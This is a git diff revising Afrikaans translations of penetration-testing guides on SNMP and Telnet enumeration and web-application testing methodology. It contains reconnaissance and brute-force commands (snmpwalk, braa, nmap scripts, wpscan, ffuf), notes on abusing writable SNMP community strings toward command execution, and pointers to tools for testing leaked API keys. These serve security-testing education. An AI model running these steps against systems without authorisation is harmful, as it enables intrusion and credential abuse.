Om te verseker dat SNMP-toegang oor vervaardigers en met verskillende kliënt-bediener kombinasies werk, is die **Management Information Base (MIB)** geskep. MIB is 'n **onafhanklike formaat vir die stoor van toestel-inligting**. 'n MIB is 'n **tekst** lêer waarin al die navraagbare **SNMP-objekte** van 'n toestel in 'n **gestandaardiseerde** boomhiërargie gelys word. Dit bevat ten minste een `Object Identifier` (`OID`), wat, benewens die nodige **unieke adres** en 'n **naam**, ook inligting oor die tipe, toegangregte, en 'n beskrywing van die onderskeie objek verskaf.\
|
||||
MIB-lêers is geskryf in die `Abstract Syntax Notation One` (`ASN.1`) gebaseerde ASCII teksformaat. Die **MIBs bevat nie data nie**, maar hulle verduidelik **waar om watter inligting te vind** en hoe dit lyk, wat waardes vir die spesifieke OID teruggee, of watter datatipe gebruik word.
|
||||
Om te verseker dat SNMP-toegang oor vervaardigers en met verskillende kliënt-bediener kombinasies werk, is die **Management Information Base (MIB)** geskep. MIB is 'n **onafhanklike formaat vir die stoor van toestel-inligting**. 'n MIB is 'n **tekst** lêer waarin al die navraagbare **SNMP-objekte** van 'n toestel in 'n **gestandaardiseerde** boomhiërargie gelys word. Dit bevat ten minste een `Object Identifier` (`OID`), wat, benewens die nodige **unieke adres** en 'n **naam**, ook inligting verskaf oor die tipe, toegangregte, en 'n beskrywing van die onderskeie objek.\
|
||||
MIB-lêers is geskryf in die `Abstract Syntax Notation One` (`ASN.1`) gebaseerde ASCII teksformaat. Die **MIBs bevat nie data nie**, maar verduidelik **waar om watter inligting te vind** en hoe dit lyk, wat waardes vir die spesifieke OID teruggee, of watter datatipe gebruik word.
|
||||
|
||||
### OIDs
|
||||
|
||||
@ -29,7 +29,7 @@ Verder word verskaffers die vryheid gegee om private takke te vestig. Binne hier
|
||||
.png>)
|
||||
|
||||
Jy kan **navigeer** deur 'n **OID-boom** vanaf die web hier: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) of **sien wat 'n OID beteken** (soos `1.3.6.1.2.1.1`) deur toegang te verkry tot [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
|
||||
Daar is 'n paar **goed bekende OIDs** soos diegene binne [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) wat MIB-2 gedefinieerde Simple Network Management Protocol (SNMP) veranderlikes verwys. En van die **OIDs wat van hierdie een wag** kan jy 'n paar interessante gasheerdata verkry (sisteemdata, netwerkdata, prosesdata...)
|
||||
Daar is 'n paar **goed bekende OIDs** soos diegene binne [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) wat MIB-2 gedefinieerde Simple Network Management Protocol (SNMP) veranderlikes verwys. En van die **OIDs wat van hierdie een hang** kan jy 'n paar interessante gasheerdata verkry (stelseldatas, netwerkdata, prosesdata...)
|
||||
|
||||
### **OID Voorbeeld**
|
||||
|
||||
@ -39,7 +39,7 @@ Daar is 'n paar **goed bekende OIDs** soos diegene binne [1.3.6.1.2.1](http://oi
|
||||
|
||||
Hier is 'n ontleding van hierdie adres.
|
||||
|
||||
- 1 – dit word die ISO genoem en dit vestig dat dit 'n OID is. Dit is waarom alle OIDs met "1" begin.
|
||||
- 1 – dit word die ISO genoem en dit vestig dat dit 'n OID is. Dit is waarom alle OIDs met “1” begin.
|
||||
- 3 – dit word ORG genoem en dit word gebruik om die organisasie wat die toestel gebou het, aan te dui.
|
||||
- 6 – dit is die dod of die Departement van Verdediging wat die organisasie is wat die Internet eerste gevestig het.
|
||||
- 1 – dit is die waarde van die internet om aan te dui dat alle kommunikasie deur die Internet sal plaasvind.
|
||||
@ -79,7 +79,7 @@ Daar is **2 tipes gemeenskapsstrings**:
|
||||
- **`public`** hoofsaaklik **lees net** funksies
|
||||
- **`private`** **Lees/Skryf** in die algemeen
|
||||
|
||||
Let daarop dat **die skryfbaarheid van 'n OID afhang van die gemeenskapsstring wat gebruik word**, so **selfs** as jy vind dat "**public**" gebruik word, kan jy dalk in staat wees om **sekere waardes te skryf.** Daar **kan** ook voorwerpe wees wat **altyd "Lees Net"** is.\
|
||||
Let daarop dat **die skryfbaarheid van 'n OID afhang van die gemeenskapsstring wat gebruik word**, so **selfs** as jy vind dat "**public**" gebruik word, kan jy dalk **sekere waardes skryf.** Daar **kan** ook objekte wees wat **altyd "Lees Net"** is.\
|
||||
As jy probeer om 'n objek te **skryf**, sal 'n **`noSuchName` of `readOnly` fout** ontvang word\*\*.\*\*
|
||||
|
||||
In weergawes 1 en 2/2c, as jy 'n **slegte** gemeenskapsstring gebruik, sal die bediener nie **reageer** nie. So, as dit reageer, is 'n **geldige gemeenskapsstring gebruik**.
|
||||
@ -98,7 +98,7 @@ Om die **gemeenskapsstring te raai** kan jy 'n woordeboekaanval uitvoer. Kyk [hi
|
||||
|
||||
## Enumerating SNMP
|
||||
|
||||
Dit word aanbeveel om die volgende te installeer om te sien wat **elke OID wat van die toestel versamel is, beteken:**
|
||||
Dit word aanbeveel om die volgende te installeer om te sien wat **elke OID wat van die toestel versamel is, beteken**:
|
||||
```bash
|
||||
apt-get install snmp-mibs-downloader
|
||||
download-mibs
|
||||
@ -121,44 +121,44 @@ nmap --script "snmp* and not snmp-brute" <target>
|
||||
|
||||
braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
|
||||
```
|
||||
Dankie aan uitgebreide navrae (download-mibs), is dit moontlik om selfs meer oor die stelsel te enumerate met die volgende opdrag:
|
||||
Dankie aan uitgebreide navrae (download-mibs), is dit moontlik om selfs meer oor die stelsel te enumerate met die volgende opdrag :
|
||||
```bash
|
||||
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||
```
|
||||
**SNMP** het baie inligting oor die gasheer en dinge wat jy dalk interessant sal vind, is: **Netwerkinterfaces** (IPv4 en **IPv6** adres), gebruikersname, uptime, bediener/OS weergawe, en **prosesse**
|
||||
**SNMP** het baie inligting oor die gasheer en dinge wat jy dalk interessant mag vind, is: **Netwerk interfaces** (IPv4 en **IPv6** adres), gebruikersname, uptime, bediener/OS weergawe, en **prosesse**
|
||||
|
||||
**wat loop** (kan wagwoorde bevat)....
|
||||
**wat** loop (kan wagwoorde bevat)....
|
||||
|
||||
### **Gevaarlike Instellings**
|
||||
|
||||
In die wêreld van netwerkbestuur is sekere konfigurasies en parameters sleutel tot die verseker van omvattende monitering en beheer.
|
||||
In die wêreld van netwerkbestuur is sekere konfigurasies en parameters sleutel tot die versekerings van omvattende monitering en beheer.
|
||||
|
||||
### Toegang Instellings
|
||||
|
||||
Twee hoofinstellings stel toegang tot die **volledige OID-boom** moontlik, wat 'n belangrike komponent in netwerkbestuur is:
|
||||
Twee hoofinstellings stel toegang tot die **volledige OID boom** moontlik, wat 'n belangrike komponent in netwerkbestuur is:
|
||||
|
||||
1. **`rwuser noauth`** is ingestel om volle toegang tot die OID-boom toe te laat sonder die behoefte aan verifikasie. Hierdie instelling is eenvoudig en laat onbeperkte toegang toe.
|
||||
1. **`rwuser noauth`** is ingestel om volle toegang tot die OID boom toe te laat sonder die behoefte aan verifikasie. Hierdie instelling is eenvoudig en laat onbeperkte toegang toe.
|
||||
2. Vir meer spesifieke beheer kan toegang toegestaan word met:
|
||||
- **`rwcommunity`** vir **IPv4** adresse, en
|
||||
- **`rwcommunity6`** vir **IPv6** adresse.
|
||||
|
||||
Albei opdragte vereis 'n **gemeenskapsstring** en die relevante IP-adres, wat volle toegang bied ongeag die oorsprong van die versoek.
|
||||
Albei opdragte vereis 'n **gemeenskapsstring** en die relevante IP adres, wat volle toegang bied ongeag die oorsprong van die versoek.
|
||||
|
||||
### SNMP Parameters vir Microsoft Windows
|
||||
|
||||
'n Reeks van **Management Information Base (MIB) waardes** word gebruik om verskeie aspekte van 'n Windows-stelsel deur SNMP te monitor:
|
||||
'n Reeks van **Bestuur Inligting Basis (MIB) waardes** word gebruik om verskeie aspekte van 'n Windows stelsel deur SNMP te monitor:
|
||||
|
||||
- **Stelselsprosesse**: Toegang via `1.3.6.1.2.1.25.1.6.0`, hierdie parameter stel die monitering van aktiewe prosesse binne die stelsel moontlik.
|
||||
- **Stelsel Prosesse**: Toegang via `1.3.6.1.2.1.25.1.6.0`, hierdie parameter stel die monitering van aktiewe prosesse binne die stelsel moontlik.
|
||||
- **Lopende Programme**: Die `1.3.6.1.2.1.25.4.2.1.2` waarde is aangewys vir die opsporing van tans lopende programme.
|
||||
- **Prosesse Pad**: Om te bepaal waar 'n proses van loop, word die `1.3.6.1.2.1.25.4.2.1.4` MIB waarde gebruik.
|
||||
- **Bergingseenhede**: Die monitering van bergingseenhede word gefasiliteer deur `1.3.6.1.2.1.25.2.3.1.4`.
|
||||
- **Sagteware Naam**: Om die sagteware wat op 'n stelsel geïnstalleer is te identifiseer, word `1.3.6.1.2.1.25.6.3.1.2` gebruik.
|
||||
- **Berging Eenhede**: Die monitering van berging eenhede word gefasiliteer deur `1.3.6.1.2.1.25.2.3.1.4`.
|
||||
- **Sagtemak Naam**: Om die sagteware wat op 'n stelsel geïnstalleer is te identifiseer, word `1.3.6.1.2.1.25.6.3.1.2` gebruik.
|
||||
- **Gebruikersrekeninge**: Die `1.3.6.1.4.1.77.1.2.25` waarde stel die opsporing van gebruikersrekeninge moontlik.
|
||||
- **TCP Plaaslike Poorte**: Laastens, `1.3.6.1.2.1.6.13.1.3` is aangewys vir die monitering van TCP plaaslike poorte, wat insig bied in aktiewe netwerkverbindinge.
|
||||
|
||||
### Cisco
|
||||
|
||||
Kyk na hierdie bladsy as jy Cisco-toerusting het:
|
||||
Kyk na hierdie bladsy as jy Cisco toerusting het:
|
||||
|
||||
{{#ref}}
|
||||
cisco-snmp.md
|
||||
@ -166,7 +166,7 @@ cisco-snmp.md
|
||||
|
||||
## Van SNMP na RCE
|
||||
|
||||
As jy die **string** het wat jou toelaat om **waardes** binne die SNMP-diens te **skryf**, mag jy dit kan misbruik om **opdragte** uit te voer:
|
||||
As jy die **string** het wat jou toelaat om **waardes** binne die SNMP diens te **skryf**, mag jy dit misbruik om **opdragte** uit te voer:
|
||||
|
||||
{{#ref}}
|
||||
snmp-rce.md
|
||||
@ -176,7 +176,7 @@ snmp-rce.md
|
||||
|
||||
[Braa ](https://github.com/mteg/braa) is 'n massiewe SNMP skandeerder. Die beoogde gebruik van so 'n hulpmiddel is, natuurlik, om SNMP versoeke te maak – maar anders as snmpwalk van net-snmp, is dit in staat om dosyne of honderde gashere gelyktydig te vra, en in 'n enkele proses. Dus, dit verbruik baie min stelselhulpbronne en doen die skandering BAIE vinnig.
|
||||
|
||||
Braa implementeer sy EIE snmp-stapel, so dit het GEEN SNMP biblioteke soos net-snmp nodig nie.
|
||||
Braa implementeer sy EIE snmp stapel, so dit het GEEN SNMP biblioteke soos net-snmp nodig nie.
|
||||
|
||||
**Sintaksis:** braa \[Gemeenskaps-string]@\[IP van SNMP bediener]:\[iso id]
|
||||
```bash
|
||||
@ -194,7 +194,7 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp
|
||||
```
|
||||
### **Identifiseer Privaat String**
|
||||
|
||||
'n Belangrike stap behels die identifisering van die **privaat gemeenskap string** wat deur organisasies gebruik word, veral op Cisco IOS routers. Hierdie string stel die onttrekking van **lopende konfigurasies** van routers in staat. Die identifisering staat dikwels op die analise van SNMP Trap data vir die woord "trap" met 'n **grep commando**:
|
||||
'n Belangrike stap behels die identifisering van die **privaat gemeenskap string** wat deur organisasies gebruik word, veral op Cisco IOS-ruters. Hierdie string stel die onttrekking van **lopende konfigurasies** van ruters in staat. Die identifisering staat dikwels op die analise van SNMP Trap-data vir die woord "trap" met 'n **grep-opdrag**:
|
||||
```bash
|
||||
grep -i "trap" *.snmp
|
||||
```
|
||||
@ -224,7 +224,6 @@ As daar 'n ACL is wat slegs sekere IP's toelaat om die SNMP diens te vra, kan jy
|
||||
- snmpd.conf
|
||||
- snmp-config.xml
|
||||
|
||||
|
||||
## HackTricks Outomatiese Opdragte
|
||||
```
|
||||
Protocol_Name: SNMP #Protocol Abbreviation if there is one.
|
||||
|
@ -23,7 +23,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
|
||||
```
|
||||
Die skrip `telnet-ntlm-info.nse` sal NTLM-inligting verkry (Windows weergawes).
|
||||
|
||||
Van die [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): In die TELNET-protokol is daar verskeie "**opsies**" wat goedgekeur sal word en gebruik kan word met die "**DO, DON'T, WILL, WON'T**" struktuur om 'n gebruiker en bediener toe te laat om saam te stem om 'n meer uitgebreide (of dalk net ander) stel konvensies vir hul TELNET-verbinding te gebruik. Sulke opsies kan insluit die verandering van die karakterstel, die echo-modus, ens.
|
||||
Van die [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): In die TELNET-protokol is daar verskeie "**opsies**" wat goedgekeur sal word en gebruik kan word met die "**DO, DON'T, WILL, WON'T**" struktuur om 'n gebruiker en bediener in staat te stel om saam te stem om 'n meer uitgebreide (of dalk net verskillende) stel konvensies vir hul TELNET-verbinding te gebruik. Sulke opsies kan insluit die verandering van die karakterstel, die echo-modus, ens.
|
||||
|
||||
**Ek weet dit is moontlik om hierdie opsies te tel, maar ek weet nie hoe nie, so laat weet my as jy weet hoe.**
|
||||
|
||||
|
@ -1,4 +1,4 @@
|
||||
# 80,443 - Pentesting Web Methodology
|
||||
# 80,443 - Pentesting Web Metodologie
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -25,11 +25,11 @@ web-api-pentesting.md
|
||||
|
||||
## Metodologie opsomming
|
||||
|
||||
> In hierdie metodologie gaan ons aanneem dat jy 'n domein (of subdomein) gaan aanval en net dit. So, jy moet hierdie metodologie toepas op elke ontdekte domein, subdomein of IP met onbepaalde webbediener binne die omvang.
|
||||
> In hierdie metodologie gaan ons veronderstel dat jy 'n domein (of subdomein) gaan aanval en net dit. So, jy moet hierdie metodologie toepas op elke ontdekte domein, subdomein of IP met 'n onbepaalde webbediener binne die omvang.
|
||||
|
||||
- [ ] Begin met **identifisering** van die **tegnologieë** wat deur die webbediener gebruik word. Soek na **tricks** om in gedagte te hou tydens die res van die toets as jy die tegnologie suksesvol kan identifiseer.
|
||||
- [ ] Enige **bekende kwesbaarheid** van die weergawe van die tegnologie?
|
||||
- [ ] Gebruik enige **goed bekende tegnologie**? Enige **nuttige truuk** om meer inligting te onttrek?
|
||||
- [ ] Gebruik enige **bekende tegnologie**? Enige **nuttige truuk** om meer inligting te onttrek?
|
||||
- [ ] Enige **gespesialiseerde skandeerder** om te loop (soos wpscan)?
|
||||
- [ ] Begin **algemene doeleindes skandeerders**. Jy weet nooit of hulle iets gaan vind of as hulle interessante inligting gaan vind.
|
||||
- [ ] Begin met die **aanvangs kontroles**: **robots**, **sitemap**, **404** fout en **SSL/TLS skandering** (as HTTPS).
|
||||
@ -47,7 +47,7 @@ web-api-pentesting.md
|
||||
### Identifiseer
|
||||
|
||||
Kyk of daar **bekende kwesbaarhede** is vir die bediener **weergawe** wat loop.\
|
||||
Die **HTTP koptekste en koekies van die antwoord** kan baie nuttig wees om die **tegnologieë** en/of **weergawe** wat gebruik word te **identifiseer**. **Nmap skandering** kan die bediener weergawe identifiseer, maar dit kan ook nuttig wees om die gereedskap [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)of [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
Die **HTTP koppe en koekies van die antwoord** kan baie nuttig wees om die **tegnologieë** en/of **weergawe** wat gebruik word te **identifiseer**. **Nmap skandering** kan die bediener weergawe identifiseer, maar dit kan ook nuttig wees om die gereedskap [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)of [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
@ -64,7 +64,7 @@ Search **vir** [**kwesbaarhede van die webtoepassing** **weergawe**](../../gener
|
||||
|
||||
### Web tegnologie truuks
|
||||
|
||||
Sommige **truuks** vir **die vind van kwesbaarhede** in verskillende bekende **tegnologieë** wat gebruik word:
|
||||
Sommige **truuks** om **kwesbaarhede** in verskillende bekende **tegnologieë** te vind:
|
||||
|
||||
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||
- [**Apache**](apache.md)
|
||||
@ -103,11 +103,11 @@ As die webtoepassing enige bekende **tegnologie/platform wat voorheen gelys is**
|
||||
|
||||
### Bronkode Hersiening
|
||||
|
||||
As die **bronkode** van die toepassing beskikbaar is in **github**, benewens om 'n **White box toets** van die toepassing te doen, is daar **some inligting** wat **nuttig** kan wees vir die huidige **Black-Box toetsing**:
|
||||
As die **bronkode** van die toepassing beskikbaar is in **github**, benewens om 'n **White box toets** van die toepassing te doen, is daar **sekere inligting** wat **nuttig** kan wees vir die huidige **Black-Box toetsing**:
|
||||
|
||||
- Is daar 'n **Veranderingslog of Readme of Weergawe** lêer of enigiets met **weergave-inligting toeganklik** via die web?
|
||||
- Hoe en waar word die **akkrediteer** gestoor? Is daar enige (toeganklike?) **lêer** met akkrediteer (gebruikersname of wagwoorde)?
|
||||
- Is **wagwoorde** in **plank teks**, **geënkripteer** of watter **hashing algoritme** word gebruik?
|
||||
- Is **wagwoorde** in **plank teks**, **geënkripteer** of watter **hash-algoritme** word gebruik?
|
||||
- Gebruik dit enige **meester sleutel** om iets te enkripteer? Watter **algoritme** word gebruik?
|
||||
- Kan jy **toegang kry tot enige van hierdie lêers** deur 'n kwesbaarheid te benut?
|
||||
- Is daar enige **interessante inligting in die github** (opgeloste en nie-opgeloste) **kwessies**? Of in **commit geskiedenis** (miskien 'n **wagwoord wat in 'n ou commit ingevoer is**)?
|
||||
@ -145,7 +145,7 @@ wpscan --force update -e --url <URL>
|
||||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> Op hierdie punt behoort jy reeds 'n paar inligting te hê oor die webbediener wat deur die kliënt gebruik word (indien enige data gegee is) en 'n paar truuks om in gedagte te hou tydens die toets. As jy gelukkig is, het jy selfs 'n CMS gevind en 'n skandeerder laat loop.
|
||||
> Op hierdie punt behoort jy reeds 'n paar inligting oor die webbediener wat deur die kliënt gebruik word te hê (indien enige data gegee is) en 'n paar truuks om in gedagte te hou tydens die toets. As jy gelukkig is, het jy selfs 'n CMS gevind en 'n paar skanners gedraai.
|
||||
|
||||
## Stap-vir-stap Webtoepassing Ontdekking
|
||||
|
||||
@ -160,23 +160,23 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
- /crossdomain.xml
|
||||
- /clientaccesspolicy.xml
|
||||
- /.well-known/
|
||||
- Kontroleer ook kommentaar in die hoof- en sekondêre bladsye.
|
||||
- Kyk ook na kommentaar in die hoof- en sekondêre bladsye.
|
||||
|
||||
**Dwing foute**
|
||||
|
||||
Webbedieners mag **onverwagte gedrag** vertoon wanneer vreemde data na hulle gestuur word. Dit kan **kwesbaarhede** of **sensitiewe inligting openbaar**.
|
||||
Webbedieners mag **onverwagte** gedrag vertoon wanneer vreemde data na hulle gestuur word. Dit kan **kwesbaarhede** of **sensitiewe inligting openbaar**.
|
||||
|
||||
- Toegang tot **valse bladsye** soos /whatever_fake.php (.aspx,.html,.ens)
|
||||
- **Voeg "\[]", "]]", en "\[\["** in **koekie waardes** en **parameter** waardes in om foute te skep
|
||||
- **Voeg "\[]", "]]", en "\[\["** in **koekie waardes** en **parameter** waardes by om foute te skep
|
||||
- Genereer 'n fout deur insette te gee as **`/~randomthing/%s`** aan die **einde** van die **URL**
|
||||
- Probeer **verskillende HTTP Werkwoorde** soos PATCH, DEBUG of verkeerd soos FAKE
|
||||
|
||||
#### **Kontroleer of jy lêers kan oplaai (**[**PUT werkwoord, WebDav**](put-method-webdav.md)**)**
|
||||
#### **Kyk of jy lêers kan oplaai (**[**PUT werkwoord, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
As jy vind dat **WebDav** **geaktiveer** is, maar jy nie genoeg regte het om **lêers** in die wortelgids op te laai nie, probeer om:
|
||||
As jy vind dat **WebDav** **geaktiveer** is, maar jy nie genoeg regte het om **lêers op te laai** in die wortelgids nie, probeer om:
|
||||
|
||||
- **Brute Force** akrediteer
|
||||
- **Lêers op te laai** via WebDav na die **oorblywende** **gevonde gidse** binne die webblad. Jy mag regte hê om lêers in ander gidse op te laai.
|
||||
- **Laai lêers op** via WebDav na die **oorblywende** **gevonde gidse** binne die webblad. Jy mag regte hê om lêers in ander gidse op te laai.
|
||||
|
||||
### **SSL/TLS kwesbaarhede**
|
||||
|
||||
@ -213,13 +213,13 @@ Begin 'n soort **spider** binne die web. Die doel van die spider is om **soveel
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, met JS beautify vermoëns wat in staat is om nuwe paaie in JS-lêers te soek. Dit kan ook die moeite werd wees om na [JSScanner](https://github.com/dark-warlord14/JSScanner) te kyk, wat 'n wrapper van LinkFinder is.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Om eindpunte in beide HTML-bron en ingebedde javascript-lêers te onttrek. Nuttig vir foutjagters, rooi spanlede, infosec ninjas.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 'n Python 2.7 skrip wat Tornado en JSBeautifier gebruik om relatiewe URL's uit JavaScript-lêers te parse. Nuttig om AJAX versoeke maklik te ontdek. Dit lyk of dit nie meer onderhou word nie.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gegee 'n lêer (HTML) sal dit URL's daaruit onttrek met behulp van slim regulêre uitdrukkings om die relatiewe URL's uit lelike (minify) lêers te vind en onttrek.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gegewe 'n lêer (HTML) sal dit URL's daaruit onttrek met behulp van slim regulêre uitdrukkings om die relatiewe URL's uit lelike (minify) lêers te vind en onttrek.
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, verskeie hulpmiddels): Verskaf interessante inligting uit JS-lêers met behulp van verskeie hulpmiddels.
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): Vind JS-lêers.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Laai 'n bladsy in 'n headless browser en druk al die URL's wat gelaai is om die bladsy te laai.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Laai 'n bladsy in 'n headless blaasker en druk al die URL's wat gelaai is om die bladsy te laai.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Inhoud ontdekking hulpmiddel wat verskeie opsies van die vorige hulpmiddels meng.
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 'n Burp uitbreiding om paaie en params in JS-lêers te vind.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n Hulpmiddel wat gegee die .js.map URL jou die beatified JS-kode sal gee.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n Hulpmiddel wat gegewe die .js.map URL jou die beautified JS-kode sal gee.
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Dit is 'n hulpmiddel wat gebruik word om eindpunte vir 'n gegewe teiken te ontdek.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ontdek skakels van die wayback masjien (ook die antwoorde in die wayback aflaai en na meer skakels soek).
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Kruip (selfs deur vorms in te vul) en vind ook sensitiewe inligting met behulp van spesifieke regexes.
|
||||
@ -231,7 +231,7 @@ Begin 'n soort **spider** binne die web. Die doel van die spider is om **soveel
|
||||
|
||||
### Brute Force directories and files
|
||||
|
||||
Begin **brute-forcing** vanaf die wortelmap en wees seker om **alle** die **directories wat gevind is** te brute-force met **hierdie metode** en al die directories **ontdek** deur die **Spidering** (jy kan hierdie brute-forcing **rekursief** doen en die name van die gevonde directories aan die begin van die gebruikte woordlys voeg).\
|
||||
Begin **brute-forcing** vanaf die wortelmap en wees seker om **alle** die **ggevonde directories** te brute-force met **hierdie metode** en al die directories **ontdek** deur die **Spidering** (jy kan hierdie brute-forcing **rekursief** doen en die name van die gevonde directories aan die begin van die gebruikte woordlys voeg).\
|
||||
Hulpmiddels:
|
||||
|
||||
- **Dirb** / **Dirbuster** - Ingesluit in Kali, **oud** (en **stadig**) maar funksioneel. Laat outomaties onderteken sertifikate toe en rekursiewe soektog. Te stadig in vergelyking met die ander opsies.
|
||||
@ -240,7 +240,7 @@ Hulpmiddels:
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Vinning, ondersteun rekursiewe soektog.**
|
||||
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- Vinning: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): Dit is nie 'n spider nie, maar 'n hulpmiddel wat gegee die lys van gevonde URL's sal "gedupliseerde" URL's verwyder.
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): Dit is nie 'n spider nie, maar 'n hulpmiddel wat gegewe die lys van gevonde URL's sal "gedupliseerde" URL's verwyder.
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Uitbreiding om 'n lys van directories uit die burp geskiedenis van verskillende bladsye te skep.
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Verwyder URL's met gedupliseerde funksies (gebaseer op js imports).
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): Dit gebruik wapalyzer om gebruikte tegnologieë te detecteer en die woordlyste te kies.
|
||||
@ -268,16 +268,16 @@ _Nota dat enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spider
|
||||
|
||||
### Wat om te kontroleer op elke lêer wat gevind is
|
||||
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Vind gebroke skakels binne HTML's wat geneig kan wees om oorname te neem.
|
||||
- **Lêer Rugsteun**: Sodra jy al die lêers gevind het, soek vir rugsteun van al die uitvoerbare lêers ("_.php_", "_.aspx_"...). Algemene variasies vir die benoeming van 'n rugsteun is: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp en file.old._ Jy kan ook die hulpmiddel [**bfac**](https://github.com/mazen160/bfac) **of** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Vind gebroke skakels binne HTML's wat geneig kan wees om oorname te ondergaan.
|
||||
- **Lêer Rugsteun**: Sodra jy al die lêers gevind het, soek na rugsteun van al die uitvoerbare lêers ("_.php_", "_.aspx_"...). Algemene variasies vir die benoeming van 'n rugsteun is: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp en file.old._ Jy kan ook die hulpmiddel [**bfac**](https://github.com/mazen160/bfac) **of** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- **Ontdek nuwe parameters**: Jy kan hulpmiddels soos [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **en** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gebruik om verborge parameters te ontdek. As jy kan, kan jy probeer om** verborge parameters op elke uitvoerbare web lêer te soek.
|
||||
- _Arjun al standaard woordlyste:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
- **Kommentaaren:** Kontroleer die kommentaar van al die lêers, jy kan **akkrediteer** of **verborge funksionaliteit** vind.
|
||||
- As jy **CTF** speel, is 'n "gewone" truuk om **inligting** binne kommentaar aan die **regte** van die **bladsy** te **versteek** (met behulp van **honderde** **spasies** sodat jy nie die data sien as jy die bronkode met die blaaiers oopmaak nie). 'n Ander moontlikheid is om **verskeie nuwe lyne** te gebruik en **inligting** in 'n kommentaar aan die **onderkant** van die webblad te **versteek**.
|
||||
- **API sleutels**: As jy **enige API-sleutel** vind, is daar 'n gids wat aandui hoe om API-sleutels van verskillende platforms te gebruik: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- **Kommentaar:** Kontroleer die kommentaar van al die lêers, jy kan **akkrediteer** of **verborge funksionaliteit** vind.
|
||||
